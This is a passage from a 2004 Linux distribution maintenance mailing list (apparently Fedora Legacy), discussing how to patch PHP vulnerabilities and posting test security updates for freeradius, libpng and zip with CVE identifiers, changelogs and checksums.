through the change logs on the php.net website. The relevant changes were 27 pages long as printed on US Letter sized paper. I did some brief testing with an application I've written for 4.1.x on a 4.3.10 install and found numerous errors. I stopped testing in order to do more research, so I can't say for sure what the errors were yet, but I'll be looking into it [for probably all of] next week. -- Matthew Nuzum From jimpop at yahoo.com Sat Dec 18 04:50:42 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Fri, 17 Dec 2004 23:50:42 -0500 Subject: PHP vulnerabilities? In-Reply-To: <1103344529.23902.20.camel@matt.newz.gotdns.com> References: <1103344529.23902.20.camel@matt.newz.gotdns.com> Message-ID: <1103345442.8349.7.camel@blue> On Fri, 2004-12-17 at 23:35 -0500, Matthew Nuzum wrote: > There are backwards compat issues. For one, php 4.2 started shipping > with register globals off which is likely to break compatibility in a > major way. It should be easy though to create an RPM that ships with > register globals on. register_globals was defaulted to off for a reason (see: http://us2.php.net/register_globals). Besides, those willing to enable it can do so simply in php.ini. > However, there have been many other changes since then. In evaluating my > response to this problem I spent a bit of time yesterday going through > the change logs on the php.net website. The relevant changes were 27 > pages long as printed on US Letter sized paper. 27 pages is a lot. Granted I am not for adding new-func via FL, however clearly those 27 pages represent a LOT of security/bug fixes. -Jim P. From pekkas at netcore.fi Sat Dec 18 05:27:56 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Sat, 18 Dec 2004 07:27:56 +0200 (EET) Subject: Fedora Legacy and Fedora's cvs In-Reply-To: <1103325247.1275.61.camel@rXm-581b.stl.gtri.gatech.edu> References: <1103296136.1275.7.camel@rXm-581b.stl.gtri.gatech.edu> <1103325247.1275.61.camel@rXm-581b.stl.gtri.gatech.edu> Message-ID: On Fri, 17 Dec 2004, Rob Myers wrote: >> The biggest issue here is probably how much effort we'd be willing to >> put doing QA and handling the breakage that this approach would imply. > > again, it is not clear to me that a "merged" FC-1 tree implies more than > minimal updates. In the particular example you quoted, it did certainly mean more than minimal updates. Minimal updates: - the FC1 src.rpm, or if FC1 published a security update, that src.rpm - *any* further change to the package, unless it would be covered by the security update is a non-minimal update. In this particular case, zlib was upgraded from 1.2.0.7 to 1.2.1.2. The change log for comparison for this is below *). This update removed the need to apply the security patch, and removed an additional patch as well. For example, Red Hat folks might, for some reason, update packages in all of their archs (FC1..FC3) even though FC1 is no longer being updated -- which would be a clear non-minimal update. Bugfixes might also be put in all the releases at the same time. We can debate whether these non-minimal updates are significant enough to worry about, and we can debate whether we need to care (in QA sense) -- at least in the same manner as with RHL9/RHL73 as Fedora Core users are more likely intentional "guinea pigs" in any case -- if Red Hat's changes break the users' systems in some way. ... *) Changes in 1.2.1.2 (9 September 2004) - Update INDEX file - Fix trees.c to update strm->data_type (no one ever noticed!) - Fix bug in error case in inflate.c, infback.c, and infback9.c [Brown] - Add "volatile" to crc table flag declaration (for DYNAMIC_CRC_TABLE) - Add limited multitasking protection to DYNAMIC_CRC_TABLE - Add NO_vsnprintf for VMS in zutil.h [Mozilla] - Don't declare strerror() under VMS [Mozilla] - Add comment to DYNAMIC_CRC_TABLE to use get_crc_table() to initialize - Update contrib/ada [Anisimkov] - Update contrib/minizip [Vollant] - Fix configure to not hardcode directories for Darwin [Peterson] - Fix gzio.c to not return error on empty files [Brown] - Fix indentation; update version in contrib/delphi/ZLib.pas and contrib/pascal/zlibpas.pas [Truta] - Update mkasm.bat in contrib/masmx86 [Truta] - Update contrib/untgz [Truta] - Add projects/README.projects [Truta] - Add project for MS Visual C++ 6.0 in projects/visualc6 [Cadieux, Truta] - Update win32/DLL_FAQ.txt [Truta] - Update list of Z_PREFIX symbols in zconf.h [Randers-Pehrson, Truta] - Remove an unnecessary assignment to curr in inftrees.c [Truta] - Add OS/2 to exe builds in configure [Poltorak] - Remove err dummy parameter in zlib.h [Kientzle] Changes in 1.2.1.1 (9 January 2004) - Update email address in README - Several FAQ updates - Fix a big fat bug in inftrees.c that prevented decoding valid dynamic blocks with only literals and no distance codes -- Thanks to "Hot Emu" for the bug report and sample file - Add a note to puff.c on no distance codes case. Changes in 1.2.1 (17 November 2003) - Remove a tab in contrib/gzappend/gzappend.c - Update some interfaces in contrib for new zlib functions - Update zlib version number in some contrib entries - Add Windows CE definition for ptrdiff_t in zutil.h [Mai, Truta] - Support shared libraries on Hurd and KFreeBSD [Brown] - Fix error in NO_DIVIDE option of adler32.c Changes in 1.2.0.8 (4 November 2003) - Update version in contrib/delphi/ZLib.pas and contrib/pascal/zlibpas.pas - Add experimental NO_DIVIDE #define in adler32.c - Possibly faster on some processors (let me know if it is) - Correct Z_BLOCK to not return on first inflate call if no wrap - Fix strm->data_type on inflate() return to correctly indicate EOB - Add deflatePrime() function for appending in the middle of a byte - Add contrib/gzappend for an example of appending to a stream - Update win32/DLL_FAQ.txt [Truta] - Delete Turbo C comment in README [Truta] - Improve some indentation in zconf.h [Truta] - Fix infinite loop on bad input in configure script [Church] - Fix gzeof() for concatenated gzip files [Johnson] - Add example to contrib/visual-basic.txt [Michael B.] - Add -p to mkdir's in Makefile.in [vda] - Fix configure to properly detect presence or lack of printf functions - Add AS400 support [Monnerat] - Add a little Cygwin support [Wilson] -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From pekkas at netcore.fi Sat Dec 18 05:31:25 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Sat, 18 Dec 2004 07:31:25 +0200 (EET) Subject: PHP vulnerabilities? In-Reply-To: <1103341705.11158.2.camel@mdlinux> References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> <1103341705.11158.2.camel@mdlinux> Message-ID: On Fri, 17 Dec 2004, Marc Deslauriers wrote: > On Fri, 2004-12-17 at 20:41 -0500, Jim Popovitch wrote: >> Given the considerable amount of changes in PHP since v4.1.2 (current FL >> release), what is the possibility about just releasing a v4.3.10 rpm? > > I would say it's highly unlikely we'll update to 4.3.10. Agree. Update to 4.3.10 would incur *way* too radical change, and we don't want to go there. > We'll probably > wait to see what is done to RHEL 2.1 and other distros. 4.1.2 may not > even be vulnerable to most of the issues... That is the easiest way. Has anyone actually looked, btw, how well the security patch against 4.3.9 (e.g., from OpenPKG) applies to 4.1.2 (RHL73) or php 4.2 (RHL9) ? -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From marcdeslauriers at videotron.ca Sat Dec 18 16:31:19 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Sat, 18 Dec 2004 11:31:19 -0500 Subject: PHP vulnerabilities? In-Reply-To: References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> <1103341705.11158.2.camel@mdlinux> Message-ID: <1103387479.15860.8.camel@mdlinux> On Sat, 2004-12-18 at 07:31 +0200, Pekka Savola wrote: > That is the easiest way. Has anyone actually looked, btw, how well > the security patch against 4.3.9 (e.g., from OpenPKG) applies to 4.1.2 > (RHL73) or php 4.2 (RHL9) ? > I took a look at 4.1.2 using Red Hat's test patches from bugzilla as a reference: CAN-2004-1065 applies to 4.1.2, probably needs a new patch made CAN-2004-1018 applies to 4.1.2, needs a new patch made CAN-2004-1019 is unknown. The unserialize() function in 4.1.2 is completely different, the vulnerability may not even exist. Although someone will have to use the POC and test it. CAN-2004-1063 and CAN-2004-1064 seem to apply only to threaded php servers. Red Hat is not patching php in RHEL as it is not build to support threads. I haven't checked if php in rh7.3, rh9 or fc1 is built to support threads or not. Marc. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From marcdeslauriers at videotron.ca Sat Dec 18 19:17:44 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Sat, 18 Dec 2004 14:17:44 -0500 Subject: Fedora Legacy Test Update Notification: freeradius Message-ID: <41C48258.5000303@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Test Update Notification FEDORALEGACY-2004-2187 Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=2187 2004-12-18 --------------------------------------------------------------------- Name : freeradius FC1 Version : 1.0.1-0.FC1.5.legacy Summary : High-performance and highly configurable free RADIUS server. Description : The FreeRADIUS Server Project is a high performance and highly configurable GPL'd free RADIUS server. The server is similar in some respects to Livingston's 2.0 server. While FreeRADIUS started as a variant of the Cistron RADIUS server, they don't share a lot in common any more. It now has many more features than Cistron or Livingston, and is much more configurable. --------------------------------------------------------------------- Update Information: Updated freeradius packages that fix a number of denial of service vulnerabilities as well as minor bugs are now available. FreeRADIUS is a high-performance and highly configurable free RADIUS server designed to allow centralized authentication and authorization for a network. A number of flaws were found in FreeRADIUS versions prior to 1.0.1. An attacker who is able to send packets to the server could construct carefully constructed packets in such a way as to cause the server to consume memory or crash. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the names CAN-2004-0938, CAN-2004-0960, and CAN-2004-0961 to these issues. Please note that the pam config file included in these packages was renamed to /etc/pam.d/radiusd. Users of FreeRADIUS should update to these erratum packages that contain FreeRADIUS 1.0.1, which is not vulnerable to these issues and also corrects a number of bugs. --------------------------------------------------------------------- Changelogs fc1: * Sun Dec 05 2004 Marc Deslauriers 1.0.1-0.FC1.5.legacy - Marked /etc/raddb/dictionary as a config file - Changed path references to rpm macros * Sun Dec 05 2004 Marc Deslauriers 1.0.1-0.FC1.4.legacy - Fixed install problem of radeapclient (RH #138069) * Mon Nov 29 2004 Rob Myers 1.0.1-0.FC1.3.legacy - rebuild for FC1 - fixes FL #2187 - NB: pam file is renamed * Thu Oct 28 2004 Thomas Woerner 1.0.1-0.FC2 - new version 1.0.1: fixes (#137424) CAN-2004-0938 Freeradius < 1.0.1 DoS and remote crash (CAN-2004-0960, CAN-2004-0961) - applied radrelay CVS patch from Kevin Bonner --------------------------------------------------------------------- This update can be downloaded from: http://download.fedoralegacy.org/ (sha1sums) fc1: 83a5b013fac1aaa3caee75ea97dadb9ead68ca6c fedora/1/updates-testing/i386/freeradius-1.0.1-0.FC1.5.legacy.i386.rpm 6b9dfc73490b32784112f0f6f0cde1d87f1812f7 fedora/1/updates-testing/i386/freeradius-mysql-1.0.1-0.FC1.5.legacy.i386.rpm 58b1e0975443a435c982b394f775337a8eedde9a fedora/1/updates-testing/i386/freeradius-postgresql-1.0.1-0.FC1.5.legacy.i386.rpm 94b816b7da430f359401dade849820c962b5ad98 fedora/1/updates-testing/i386/freeradius-unixODBC-1.0.1-0.FC1.5.legacy.i386.rpm c26c9fe20f721946bbcf7723b654ce72d1fd587f fedora/1/updates-testing/SRPMS/freeradius-1.0.1-0.FC1.5.legacy.src.rpm --------------------------------------------------------------------- Please test and comment in bugzilla. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From marcdeslauriers at videotron.ca Sat Dec 18 19:18:34 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Sat, 18 Dec 2004 14:18:34 -0500 Subject: Fedora Legacy Test Update Notification: libpng Message-ID: <41C4828A.3040306@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Test Update Notification FEDORALEGACY-2004-1943 Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=1943 2004-12-18 --------------------------------------------------------------------- Name : libpng 7.3 Versions : libpng-1.0.15-0.7x.1.legacy 9 Versions : libpng-1.2.2-20.2.legacy, libpng10-1.0.15-0.9.1.legacy fc1 Versions : libpng-1.2.5-7.1.legacy, libpng10-1.0.15-7.1.legacy Summary : A library of functions for manipulating PNG image format files. Description : The libpng package contains a library of functions for creating and manipulating PNG (Portable Network Graphics) image format files. PNG is a bit-mapped graphics format similar to the GIF format. PNG was created to replace the GIF format, since GIF uses a patented data compression algorithm. --------------------------------------------------------------------- Update Information: Updated libpng packages that fix several issues are now available. The libpng package contains a library of functions for creating and manipulating PNG (Portable Network Graphics) image format files. During a source code audit, Chris Evans discovered several buffer overflows in libpng. An attacker could create a carefully crafted PNG file in such a way that it would cause an application linked with libpng to execute arbitrary code when the file was opened by a victim. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0597 to these issues. In addition, this audit discovered a potential NULL pointer dereference in libpng (CAN-2004-0598) and several integer overflow issues (CAN-2004-0599). An attacker could create a carefully crafted PNG file in such a way that it would cause an application linked with libpng to crash when the file was opened by the victim. For users of Red Hat Linux 9 these packages also include a forgotten patch for the out of bounds memory access flaw (CAN-2002-1363 and CAN-2004-0768). All users are advised to update to the updated libpng packages which contain backported security patches and are not vulnerable to these issues. --------------------------------------------------------------------- Changelogs rh73 libpng: * Mon Oct 25 2004 Charles R. Anderson 1.0.15-0.7x.1.legacy - Build for RH 7.x * Fri Oct 22 2004 Charles R. Anderson 1.0.15-0 - Sync RH 9 libpng10 and RH 7.x libpng package specs * Thu Oct 21 2004 Charles R. Anderson 1.0.14-0.7x.8.legacy - Use upstream security patch 1.2.5 that is recommended for use with release 1.0.14. - Fix previous two changelog entry's formatting * Thu Aug 12 2004 Dave Botsch - Added legacy keyword to release * Fri Jul 23 2004 Matthias Clasen 1.0.14-7 - Replace the patches for individual security problems with the cumulative patch issued by the png developers. rh9 libpng: * Wed Aug 04 2004 Marc Deslauriers 1.2.2-20.2.legacy - Replace the patches for individual security problems with the cumulative patch issued by the png developers. Fixes CAN-2004-0597, CAN-2004-0598, CAN-2004-0599. * Fri Jun 18 2004 Marc Deslauriers 1.2.2-20.1.legacy - Added better version of the patch for CAN-2002-1363 rh9 libpng10: * Mon Oct 25 2004 Charles R. Anderson 1.0.15-0.9.1.legacy - Build for RH 9 * Fri Oct 22 2004 Charles R. Anderson 1.0.15-0 - Sync RH 9 libpng10 and RH 7.x libpng package specs * Thu Oct 21 2004 Charles R. Anderson 1.0.14-0.7x.8.legacy - Use upstream security patch 1.2.5 that is recommended for use with release 1.0.14. - Fix previous two changelog entry's formatting * Thu Aug 12 2004 Dave Botsch - Added legacy keyword to release * Fri Jul 23 2004 Matthias Clasen 1.0.14-7 - Replace the patches for individual security problems with the cumulative patch issued by the png developers. fc1 libpng: * Mon Nov 29 2004 Rob Myers 2:1.2.5-7.1.legacy - apply patch to limit dimensions (FL #1943) * Fri Jul 23 2004 Matthias Clasen 2:1.2.5-7 - Replace the patches for individual security problems with the cumulative patch issued by the png developers. fc1 libpng10: * Mon Nov 29 2004 Rob Myers 1.0.15-7.1.legacy - apply patch to limit dimensions (FL #1943) * Fri Jul 23 2004 Matthias Clasen 1.0.15-7 - Replace the patches for individual security problems with the cumulative patch issued by the png developers. - Build for FC1 --------------------------------------------------------------------- This update can be downloaded from: http://download.fedoralegacy.org/ (sha1sums) 7.3: 1c286b40e2ad76146a9a4480e9db26bc04aaadb7 redhat/7.3/updates-testing/i386/libpng-1.0.15-0.7x.1.legacy.i386.rpm 0dc1beac1fa548eeb4d59fab754c4b42e05ff541 redhat/7.3/updates-testing/i386/libpng-devel-1.0.15-0.7x.1.legacy.i386.rpm e291de4ff9cfdb558b38722a12481c3807f21983 redhat/7.3/updates-testing/SRPMS/libpng-1.0.15-0.7x.1.legacy.src.rpm 9: d71f34a57a80386cdbe2bc9738f0e2b778c639e7 redhat/9/updates-testing/i386/libpng10-1.0.15-0.9.1.legacy.i386.rpm e89ca650e1839e4ad3155097cf6c70e239befe7c redhat/9/updates-testing/i386/libpng10-devel-1.0.15-0.9.1.legacy.i386.rpm 90c20c26388d2a32fb84433bff3d3abcd7010425 redhat/9/updates-testing/i386/libpng-1.2.2-20.2.legacy.i386.rpm 360acd84d0b7e8bdf7e3358d3235bc67c28b1ba8 redhat/9/updates-testing/i386/libpng-devel-1.2.2-20.2.legacy.i386.rpm cdd4dd5844581c8aa9b16e9738f9529f77a9804d redhat/9/updates-testing/SRPMS/libpng10-1.0.15-0.9.1.legacy.src.rpm aacfc366fee56b0307be0afe1682cdca4160b2b2 redhat/9/updates-testing/SRPMS/libpng-1.2.2-20.2.legacy.src.rpm fc1: 0afca5b729899b1fedeed263ddd2ac7aa506eb5b fedora/1/updates-testing/i386/libpng10-1.0.15-7.1.legacy.i386.rpm 6a7a6ecaa0435e2254e48bc5ea4c2d1724d5b160 fedora/1/updates-testing/i386/libpng10-devel-1.0.15-7.1.legacy.i386.rpm 8e28d39029ff88510d3899c2848273a76b6e71f4 fedora/1/updates-testing/i386/libpng-1.2.5-7.1.legacy.i386.rpm 405443b2e0e56b3d5e5f3f9b6a89bd3a83c24afb fedora/1/updates-testing/i386/libpng-devel-1.2.5-7.1.legacy.i386.rpm 8c0ab7f220cfd7022f682772098d5efbd2811526 fedora/1/updates-testing/SRPMS/libpng10-1.0.15-7.1.legacy.src.rpm 6a6643b6e1f01e6f8540f36e9a7518c44826a783 fedora/1/updates-testing/SRPMS/libpng-1.2.5-7.1.legacy.src.rpm --------------------------------------------------------------------- Please test and comment in bugzilla. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From marcdeslauriers at videotron.ca Sat Dec 18 19:19:11 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Sat, 18 Dec 2004 14:19:11 -0500 Subject: Fedora Legacy Test Update Notification: zip Message-ID: <41C482AF.8000808@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Test Update Notification FEDORALEGACY-2004-2255 Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=2255 2004-12-18 --------------------------------------------------------------------- Name : zip 7.3 Version : zip-2.3-26.1.0.7.3.legacy 9 Version : zip-2.3-26.1.0.9.legacy fc1 Version : zip-2.3-26.1.1.legacy Summary : A file compression and packaging utility compatible with PKZIP. Description : The zip program is a compression and file packaging utility. Zip is analogous to a combination of the UNIX tar and compress commands and is compatible with PKZIP, a compression and file packaging utility for MS-DOS systems. --------------------------------------------------------------------- Update Information: An updated zip package that fixes a buffer overflow vulnerability is now available. The zip program is an archiving utility which can create ZIP-compatible archives. A buffer overflow bug has been discovered in zip when handling long file names. An attacker could create a specially crafted path which could cause zip to crash or execute arbitrary instructions. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-1010 to this issue. Users of zip should upgrade to this updated package, which contains backported patches and is not vulnerable to this issue. --------------------------------------------------------------------- 7.3 changelog: * Tue Nov 16 2004 Rob Myers 2.3-26.1.0.7.3.legacy - Rebuild for rh73 legacy - resolves CAN-2004-1010 (FL #2255) * Mon Nov 08 2004 Lon Hohberger 2.3-26.3 - Rebuild for FC-3 * Mon Nov 08 2004 Lon Hohberger 2.3-26.2 - Fix buffer overflow. #138230 9 changelog: * Tue Nov 16 2004 Rob Myers 2.3-26.1.0.9.legacy - Rebuild for rh9 legacy - resolves CAN-2004-1010 (FL #2255) * Mon Nov 08 2004 Lon Hohberger 2.3-26.3 - Rebuild for FC-3 * Mon Nov 08 2004 Lon Hohberger 2.3-26.2 - Fix buffer overflow. #138230 fc1 changelog: * Tue Nov 16 2004 Rob Myers 2.3-26.1.1.legacy - Rebuild for fc1 legacy - resolves CAN-2004-1010 (FL #2255) * Mon Nov 08 2004 Lon Hohberger 2.3-26.3 - Rebuild for FC-3 * Mon Nov 08 2004 Lon Hohberger 2.3-26.2 - Fix buffer overflow. #138230 --------------------------------------------------------------------- This update can be downloaded from: http://download.fedoralegacy.org/ (sha1sums) 7b1134632529e30a471d2ae038f414f407ac0d3e redhat/7.3/updates-testing/i386/zip-2.3-26.1.0.7.3.legacy.i386.rpm 8db58039a432c0f0c9ff01e07b9190ad23ac4413 redhat/7.3/updates-testing/SRPMS/zip-2.3-26.1.0.7.3.legacy.src.rpm 95966b2b9fdac8f17c74226c3c033b24dd6c9226 redhat/9/updates-testing/i386/zip-2.3-26.1.0.9.legacy.i386.rpm 92b76aadb2e46b57dd9b71927dada7b1c1154dae redhat/9/updates-testing/SRPMS/zip-2.3-26.1.0.9.legacy.src.rpm 9ef4498e118ca6b4a8f72b02fecde57924d51267 fedora/1/updates-testing/i386/zip-2.3-26.1.1.legacy.i386.rpm 2dcdfc8e6ac63e2b74cf7c781c078773e0265eb8 fedora/1/updates-testing/SRPMS/zip-2.3-26.1.1.legacy.src.rpm --------------------------------------------------------------------- Please test and comment in bugzilla. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From jimpop at yahoo.com Sat Dec 18 20:02:10 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Sat, 18 Dec 2004 15:02:10 -0500 Subject: Fedora Legacy Test Update Notification: libpng In-Reply-To: <41C4828A.3040306@videotron.ca> References: <41C4828A.3040306@videotron.ca> Message-ID: <1103400130.2889.1.camel@blue> Whats a good way to test this? If suggesting pngtest, which version (I would think that it would need to be one from the 1.2.8 tree, but not 100% sure) -Jim P. On Sat, 2004-12-18 at 14:18 -0500, Marc Deslauriers wrote: > --------------------------------------------------------------------- > Fedora Legacy Test Update Notification > FEDORALEGACY-2004-1943 > Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=1943 > 2004-12-18 > --------------------------------------------------------------------- > > Name : libpng > 7.3 Versions : libpng-1.0.15-0.7x.1.legacy > 9 Versions : libpng-1.2.2-20.2.legacy, libpng10-1.0.15-0.9.1.legacy > fc1 Versions : libpng-1.2.5-7.1.legacy, libpng10-1.0.15-7.1.legacy > Summary : A library of functions for manipulating PNG image format > files. > Description : > The libpng package contains a library of functions for creating and > manipulating PNG (Portable Network Graphics) image format files. PNG > is a bit-mapped graphics format similar to the GIF format. PNG was > created to replace the GIF format, since GIF uses a patented data > compression algorithm. > > --------------------------------------------------------------------- > Update Information: > > Updated libpng packages that fix several issues are now available. > > The libpng package contains a library of functions for creating and > manipulating PNG (Portable Network Graphics) image format files. > > During a source code audit, Chris Evans discovered several buffer > overflows in libpng. An attacker could create a carefully crafted PNG > file in such a way that it would cause an application linked with libpng > to execute arbitrary code when the file was opened by a victim. The > Common Vulnerabilities and Exposures project (cve.mitre.org) has > assigned the name CAN-2004-0597 to these issues. > > In addition, this audit discovered a potential NULL pointer dereference > in libpng (CAN-2004-0598) and several integer overflow issues > (CAN-2004-0599). An attacker could create a carefully crafted PNG file > in such a way that it would cause an application linked with libpng to > crash when the file was opened by the victim. > > For users of Red Hat Linux 9 these packages also include a forgotten > patch for the out of bounds memory access flaw (CAN-2002-1363 and > CAN-2004-0768). > > All users are advised to update to the updated libpng packages which > contain backported security patches and are not vulnerable to these > issues. > > --------------------------------------------------------------------- > Changelogs > > rh73 libpng: > * Mon Oct 25 2004 Charles R. Anderson 1.0.15-0.7x.1.legacy > - Build for RH 7.x > > * Fri Oct 22 2004 Charles R. Anderson 1.0.15-0 > - Sync RH 9 libpng10 and RH 7.x libpng package specs > > * Thu Oct 21 2004 Charles R. Anderson 1.0.14-0.7x.8.legacy > - Use upstream security patch 1.2.5 that is recommended for use > with release 1.0.14. > - Fix previous two changelog entry's formatting > > * Thu Aug 12 2004 Dave Botsch > - Added legacy keyword to release > > * Fri Jul 23 2004 Matthias Clasen 1.0.14-7 > - Replace the patches for individual security problems with the > cumulative patch issued by the png developers. > > rh9 libpng: > * Wed Aug 04 2004 Marc Deslauriers > 1.2.2-20.2.legacy > - Replace the patches for individual security problems with the > cumulative patch issued by the png developers. > Fixes CAN-2004-0597, CAN-2004-0598, CAN-2004-0599. > > * Fri Jun 18 2004 Marc Deslauriers > 1.2.2-20.1.legacy > - Added better version of the patch for CAN-2002-1363 > > rh9 libpng10: > * Mon Oct 25 2004 Charles R. Anderson 1.0.15-0.9.1.legacy > - Build for RH 9 > > * Fri Oct 22 2004 Charles R. Anderson 1.0.15-0 > - Sync RH 9 libpng10 and RH 7.x libpng package specs > > * Thu Oct 21 2004 Charles R. Anderson 1.0.14-0.7x.8.legacy > - Use upstream security patch 1.2.5 that is recommended for use > with release 1.0.14. > - Fix previous two changelog entry's formatting > > * Thu Aug 12 2004 Dave Botsch > - Added legacy keyword to release > > * Fri Jul 23 2004 Matthias Clasen 1.0.14-7 > - Replace the patches for individual security problems with the > cumulative patch issued by the png developers. > > fc1 libpng: > * Mon Nov 29 2004 Rob Myers 2:1.2.5-7.1.legacy > - apply patch to limit dimensions (FL #1943) > > * Fri Jul 23 2004 Matthias Clasen 2:1.2.5-7 > - Replace the patches for individual security problems with the > cumulative patch issued by the png developers. > > fc1 libpng10: > * Mon Nov 29 2004 Rob Myers 1.0.15-7.1.legacy > - apply patch to limit dimensions (FL #1943) > > * Fri Jul 23 2004 Matthias Clasen 1.0.15-7 > - Replace the patches for individual security problems with the > cumulative patch issued by the png developers. > - Build for FC1 > > --------------------------------------------------------------------- > This update can be downloaded from: > http://download.fedoralegacy.org/ > (sha1sums) > > 7.3: > 1c286b40e2ad76146a9a4480e9db26bc04aaadb7 > redhat/7.3/updates-testing/i386/libpng-1.0.15-0.7x.1.legacy.i386.rpm > 0dc1beac1fa548eeb4d59fab754c4b42e05ff541 > redhat/7.3/updates-testing/i386/libpng-devel-1.0.15-0.7x.1.legacy.i386.rpm > e291de4ff9cfdb558b38722a12481c3807f21983 > redhat/7.3/updates-testing/SRPMS/libpng-1.0.15-0.7x.1.legacy.src.rpm > > 9: > d71f34a57a80386cdbe2bc9738f0e2b778c639e7 > redhat/9/updates-testing/i386/libpng10-1.0.15-0.9.1.legacy.i386.rpm > e89ca650e1839e4ad3155097cf6c70e239befe7c > redhat/9/updates-testing/i386/libpng10-devel-1.0.15-0.9.1.legacy.i386.rpm > 90c20c26388d2a32fb84433bff3d3abcd7010425 > redhat/9/updates-testing/i386/libpng-1.2.2-20.2.legacy.i386.rpm > 360acd84d0b7e8bdf7e3358d3235bc67c28b1ba8 > redhat/9/updates-testing/i386/libpng-devel-1.2.2-20.2.legacy.i386.rpm > cdd4dd5844581c8aa9b16e9738f9529f77a9804d > redhat/9/updates-testing/SRPMS/libpng10-1.0.15-0.9.1.legacy.src.rpm > aacfc366fee56b0307be0afe1682cdca4160b2b2 > redhat/9/updates-testing/SRPMS/libpng-1.2.2-20.2.legacy.src.rpm > > fc1: > 0afca5b729899b1fedeed263ddd2ac7aa506eb5b > fedora/1/updates-testing/i386/libpng10-1.0.15-7.1.legacy.i386.rpm > 6a7a6ecaa0435e2254e48bc5ea4c2d1724d5b160 > fedora/1/updates-testing/i386/libpng10-devel-1.0.15-7.1.legacy.i386.rpm > 8e28d39029ff88510d3899c2848273a76b6e71f4 > fedora/1/updates-testing/i386/libpng-1.2.5-7.1.legacy.i386.rpm > 405443b2e0e56b3d5e5f3f9b6a89bd3a83c24afb > fedora/1/updates-testing/i386/libpng-devel-1.2.5-7.1.legacy.i386.rpm > 8c0ab7f220cfd7022f682772098d5efbd2811526 > fedora/1/updates-testing/SRPMS/libpng10-1.0.15-7.1.legacy.src.rpm > 6a6643b6e1f01e6f8540f36e9a7518c44826a783 > fedora/1/updates-testing/SRPMS/libpng-1.2.5-7.1.legacy.src.rpm > > --------------------------------------------------------------------- > > Please test and comment in bugzilla. > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From deisenst at gtw.net Sat Dec 18 20:57:47 2004 From: deisenst at gtw.net (David Eisenstein) Date: Sat, 18 Dec 2004 14:57:47 -0600 (CST) Subject: Fedora Legacy Test Update Notification: libpng In-Reply-To: <1103400130.2889.1.camel@blue> Message-ID: On Sat, 18 Dec 2004, Jim Popovitch wrote: > Whats a good way to test this? If suggesting pngtest, which version (I > would think that it would need to be one from the 1.2.8 tree, but not > 100% sure) > > -Jim P. Jim, When doing the source-level QA and testing the resulting binaries, I tested linpng10 (on FC1) using the pngtest.c program included with the sources, as well as running the gimp help browser (the only app. I could find that uses libpng10 on FC1). For libpng, I also ran the included pngtest.c + ran other programs that use libpng (such as Mozilla) to see if they render .png graphics files okay. To "prove" to myself that libpng/libpng10 routines were being called, I installed the .debuginfo rpms and ran them setting breakpoints to see that they were being called, which they were. HTH. -David > > On Sat, 2004-12-18 at 14:18 -0500, Marc Deslauriers wrote: > > --------------------------------------------------------------------- > > Fedora Legacy Test Update Notification > > FEDORALEGACY-2004-1943 > > Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=1943 > > 2004-12-18 > > --------------------------------------------------------------------- > > > > Name : libpng > > 7.3 Versions : libpng-1.0.15-0.7x.1.legacy > > 9 Versions : libpng-1.2.2-20.2.legacy, libpng10-1.0.15-0.9.1.legacy > > fc1 Versions : libpng-1.2.5-7.1.legacy, libpng10-1.0.15-7.1.legacy > > Summary : A library of functions for manipulating PNG image format > > files. <> From jimpop at yahoo.com Sat Dec 18 20:56:24 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Sat, 18 Dec 2004 15:56:24 -0500 Subject: Fedora Legacy Test Update Notification: libpng In-Reply-To: References: Message-ID: <1103403384.5640.0.camel@blue> Thanks David, I'll try to repeat most of that on 73. -Jim P. On Sat, 2004-12-18 at 14:57 -0600, David Eisenstein wrote: > On Sat, 18 Dec 2004, Jim Popovitch wrote: > > > Whats a good way to test this? If suggesting pngtest, which version (I > > would think that it would need to be one from the 1.2.8 tree, but not > > 100% sure) > > > > -Jim P. > > Jim, > > When doing the source-level QA and testing the resulting binaries, I > tested linpng10 (on FC1) using the pngtest.c program included with the > sources, as well as running the gimp help browser (the only app. I could > find that uses libpng10 on FC1). For libpng, I also ran the included > pngtest.c + ran other programs that use libpng (such as Mozilla) to see if > they render .png graphics files okay. To "prove" to myself that > libpng/libpng10 routines were being called, I installed the .debuginfo > rpms and ran them setting breakpoints to see that they were being called, > which they were. > > HTH. -David > > > > > On Sat, 2004-12-18 at 